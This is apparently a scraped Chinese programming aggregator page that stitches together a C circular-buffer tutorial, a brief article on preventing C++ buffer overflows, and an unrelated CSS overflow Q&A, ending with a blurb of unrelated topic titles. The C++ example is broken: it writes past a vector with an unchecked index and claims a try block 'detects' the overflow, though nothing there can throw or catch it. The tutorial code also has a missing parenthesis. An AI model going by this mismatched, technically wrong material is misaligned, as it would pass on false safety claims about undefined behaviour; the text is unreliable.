我们需要在库端创建一个循环缓冲区容器。为了简单起见,我使用了 malloc 函数。不能使用动态内存的系统只需修改 init 函数来使用其他方法实现创建目的。例如从循环缓冲区的静态池中分配。
另一种方法是破坏封装,允许用户静态声明循环缓冲区容器结构。在这种情况下,circular_buf_init 需要更新来采用结构指针,或者初始化能够在堆栈上创建一个容器结构体并返回它。但是,由于封装被破坏,用户将无需使用例程就能修改结构体。
所以我们使用第一种方法。
// User provides struct
void circular_buf_init(circular_buf_t* cbuf, uint8_t* buffer,
size_t size);
// Return a struct
circular_buf_t circular_buf_init(uint8_t* buffer, size_t size)
创建容器之后,我们需要填充数据并在其上调用 reset 函数。在 init 返回之前,我们要确保缓冲区容器是在空状态下创建的。
cbuf_handle_t circular_buf_init(uint8_t* buffer, size_t size)
{
assert(buffer && size);
cbuf_handle_t cbuf = malloc(sizeof(circular_buf_t));
assert(cbuf);
cbuf->buffer = buffer;
cbuf->max = size;
circular_buf_reset(cbuf);
assert(circular_buf_empty(cbuf));
return cbuf;
}
reset 函数:目的是将缓冲区置为 “空” 状态,需要更新 head,tail 和 full 。
void circular_buf_reset(cbuf_handle_t cbuf)
{
assert(cbuf);
cbuf->head = 0;
cbuf->tail = 0;
cbuf->full = false;
}
当我们有了一个创建循环缓冲区容器的方法,同样的我们也需要一个能够销毁容器的等效方法。我们可以调用 free 函数来释放容器。但不要尝试释放底层缓冲区,释放容器指针就好,因为根据我们的初始化方法,我们不需要也不能理会底层缓冲区。
void circular_buf_free(cbuf_handle_t cbuf)
{
assert(cbuf);
free(cbuf);
}
状态检查
接下来,我们将实现与缓冲区容器状态相关的函数部分。
full 函数:很容易实现,因为我们已经有一个标志位来表示满状态了:
bool circular_buf_full(cbuf_handle_t cbuf)
{
assert(cbuf);
return cbuf->full;
}
empty 函数:因为我们已经有 full 标志位来区分空满状态了,我们只需将 full 标志位和 “head == tail” 的检查结果合并处理。
bool circular_buf_empty(cbuf_handle_t cbuf)
{
assert(cbuf);
return (!cbuf->full && (cbuf->head == cbuf->tail));
}
capacity 函数:由于在初始化阶段就已经设定了缓冲区的容量大小,所以只需要返回这个值即可:
size_t circular_buf_capacity(cbuf_handle_t cbuf)
{
assert(cbuf);
return cbuf->max;
}
预期计算缓冲区元素的数量是一个棘手的问题,许多人建议使用除法来计算,但在测试的时候遇到了许多奇怪的情况。所以我选择了条件语句进行简化运算。
关于缓冲区的元素数量有以下三种情况:
① 缓冲区状态是 full ,我们就知道当前的容量已经达到了最大;
② head >= tail,只需将两个值相减就可以得出大小;
③ tail > head,我们需要用最大值来抵消差值,才能得到正确的大小;
size_t circular_buf_size(cbuf_handle_t cbuf)
{
assert(cbuf);
size_t size = cbuf->max;
if(!cbuf->full)
{
if(cbuf->head >= cbuf->tail)
{
size = (cbuf->head - cbuf->tail);
}
else
{
size = (cbuf->max + cbuf->head - cbuf->tail);
}
}
return size;
}
添加和删除数据
有了这些功能之后,是时候开始深入研究了:从队列中添加和删除数据。
从循环缓冲区添加和删除数据需要操纵 head 和 tail 指针。当向缓冲区添加数据时,我们将新的数据插入当前 head 指针所在的位置,然后将 head 指针向前移一位。当从缓冲区删除数据时,我们从当前 tail 指针的位置取出数据,然后将 tail 指针向前移一位。
但是,向缓冲区添加数据时需要更多考虑。如果缓冲区是满状态,我们需要同时移动 tail 和 head 指针。我们还需要检查插入数据是否会出发 full 条件。
我们将实现两个版本的 put 函数,因此,让我们将指针前进函数提起到一个辅助函数中。如果缓冲区已满,移动 tail 指针。我们每次都向前移动一位 head 指针。当指针移动之后,我们通过检查 “head == tail” 的结果来判断是否填充 full 标志位。
注意下面使用的除法 (%) 运算符。当填充的数据达到最大值时,除法运算将导致 head 和 tail 指针重置为 0。这样确保 head 和 tail 指针始终是底层数据缓冲区的有效索引。
static void advance_pointer(cbuf_handle_t cbuf)
{
assert(cbuf);
if(cbuf->full)
{
cbuf->tail = (cbuf->tail + 1) % cbuf->max;
}
cbuf->head = (cbuf->head + 1) % cbuf->max;
cbuf->full = (cbuf->head == cbuf->tail);
}
我们可以写一个类似的辅助函数当从缓冲区删除数据时调用。当删除数据时,full 标志置为 flase ,tail 指针向前移一位。
static void retreat_pointer(cbuf_handle_t cbuf)
{
assert(cbuf);
cbuf->full = false;
cbuf->tail = (cbuf->tail + 1) % cbuf->max;
}
我们将创建两个版本的 put 函数。第一个版本向缓冲区插入数据并向前移动指针。如果缓冲区已满,旧数据将会被覆盖。这是循环缓冲区的标准使用案例。
void circular_buf_put(cbuf_handle_t cbuf, uint8_t data)
{
assert(cbuf && cbuf->buffer);
cbuf->buffer[cbuf->head] = data;
advance_pointer(cbuf);
}
第二个版本如果缓冲区已满 put 函数将返回 error。这里只提供一个示范样例,在我们的系统中并没有使用这个变体。
int circular_buf_put2(cbuf_handle_t cbuf, uint8_t data)
{
int r = -1;
assert(cbuf && cbuf->buffer);
if(!circular_buf_full(cbuf))
{
cbuf->buffer[cbuf->head] = data;
advance_pointer(cbuf);
r = 0;
}
return r;
}
从缓冲区删除数据,我们取出 tail 指针位置的值并更新 tail 指针。如果缓冲区是空的,我们不返回数据或者修改指针值。相反,我们返回 error 给用户。
int circular_buf_get(cbuf_handle_t cbuf, uint8_t * data)
{
assert(cbuf && data && cbuf->buffer);
int r = -1;
if(!circular_buf_empty(cbuf))
{
*data = cbuf->buffer[cbuf->tail];
retreat_pointer(cbuf);
r = 0;
}
return r;
}
这样就完成了循环缓冲区库的实现。
使用
在使用这个库时,用户负责创建 circular_buf_init 的底层数据缓冲区,将会返回 cbuf_handle_t :
uint8_t * buffer = malloc(EXAMPLE_BUFFER_SIZE * sizeof(uint8_t));
cbuf_handle_t cbuf = circular_buf_init(buffer,
EXAMPLE_BUFFER_SIZE);
该处理用于和其他剩余的所有库函数交互:
bool full = circular_buf_full(cbuf);
bool empty = circular_buf_empty(cbuf);
printf("Current buffer size: %zu\n", circular_buf_size(cbuf);
当处理完之后不要忘记 free 底层数据缓冲区和容器:
free(buffer);
circular_buf_free(cbuf);
源资源帖:https://embeddedartistry.com/blog/2017/05/17/creating-a-circular-buffer-in-c-and-c/
C++ 框架中的缓冲区溢出 (buffer overflow) 如何预防和处理?
缓冲区溢出可通过边界检查、使用安全函数和内存管理库等预防措施避免。若发生溢出,内存保护、异常处理和自定义错误处理程序可帮助检测和处理它。
C++ 框架中的缓冲区溢出 (buffer
引言
缓冲区溢出是一种常见的安全漏洞,它发生在计算机程序试图将超出分配缓冲区边界的数据写入该缓冲区时。在 C++ 框架中,缓冲区溢出可能导致数据损坏、程序崩溃,甚至代码执行。
立即学习“C++免费学习笔记(深入)”;
预防缓冲区溢出
防止缓冲区溢出的一种关键措施是使用安全编程技术。以下是 C++ 中一些常用的技术:
- 边界检查:在写入缓冲区之前检查数组或字符串的边界,以确保不会超出分配的内存。
- 使用安全的函数:使用设计为防止缓冲区溢出的函数,例如 strncpy() 和 snprintf()。
- 大小限制变量:避免使用未初始化或不确定的变量来指定缓冲区的长度。
- 使用内存管理库:使用 C++ Standard Library 中的 vector 和 string 等内存管理库,它们自动处理内存分配和释放。
处理缓冲区溢出
如果发生缓冲区溢出,有几种方法可以检测并处理它:
- 内存保护:编译器和操作系统可以启用内存保护,它会检测和防止对超出分配内存的访问。
- 异常处理:可以在程序中加入异常处理代码,以捕获由于缓冲区溢出引起的错误。
- 定制错误处理程序:开发自定义错误处理程序,以在缓冲区溢出事件中记录错误并采取适当的措施。
实战案例
以下是一个简单的 C++ 代码示例,演示了缓冲区溢出的发生方式以及如何检测和处理它:
#include <iostream> #include <vector> int main() { std::vector<int> vec(5); // 创建一个长度为 5 的向量 // 试图写超出向量界限 vec[5] = 10; // 缓冲区溢出 try { // 捕获由于缓冲区溢出引起的错误 std::cout << "缓冲区溢出已检测到" << std::endl; } catch (std::out_of_range& e) { std::cout << "越界错误:" << e.what() << std::endl; } return 0; }
结论
通过遵循安全编程实践并实施合适的错误处理机制,可以有效地防止和处理 C++ 框架中的缓冲区溢出。
以上就是C++ 框架中的缓冲区溢出 (buffer
CSS overflow-y:visible,overflow-x:scroll
<style> .parent { overflow-y:scroll; overflow-x:visible; width:100px; } .child { position:relative; } .child-menu { position:absolute; top:0px; left:-100px; display:inline-block; } </style> <div> <!-- Lots of the following divs --> <div> Text Line <div>some pop out stuff</div> </div> </div>
好的,这只是一个例子。但基本上,我想要完成的是.child类可以在y轴上滚动…上下滚动。但我想要x轴…子菜单在.parent容器外部可见。
那有意义吗?所以发生的是,当页面呈现时,浏览器将溢出解释为自动完全,不尊重单独的轴。我做错了什么或浏览器只是不符合CSS3规范呢?大部分只在Chrome上测试。
解决方法
父应该溢出:auto;
.child应该是position:relative;
.child菜单应该是position:fixed;无顶部或左定位。
如果你这样做,它会保持它内联的内容。
如果你需要移动子菜单使用边距,而不是顶部或左边。示例margin-left:-100px;
我们今天的关于优化NFR之一 --MSSQL Hello Buffer Overflow和sql numeric overflow的分享已经告一段落,感谢您的关注,如果您想了解更多关于Buffer Overflow: 堆栈溢出攻击实验、C 语言创建循环缓冲区(环形缓冲区)-- Circular Buffer(Ring Buffer)、C++ 框架中的缓冲区溢出 (buffer overflow) 如何预防和处理?、CSS overflow-y:visible,overflow-x:scroll的相关信息,请在本站查询。
本文标签: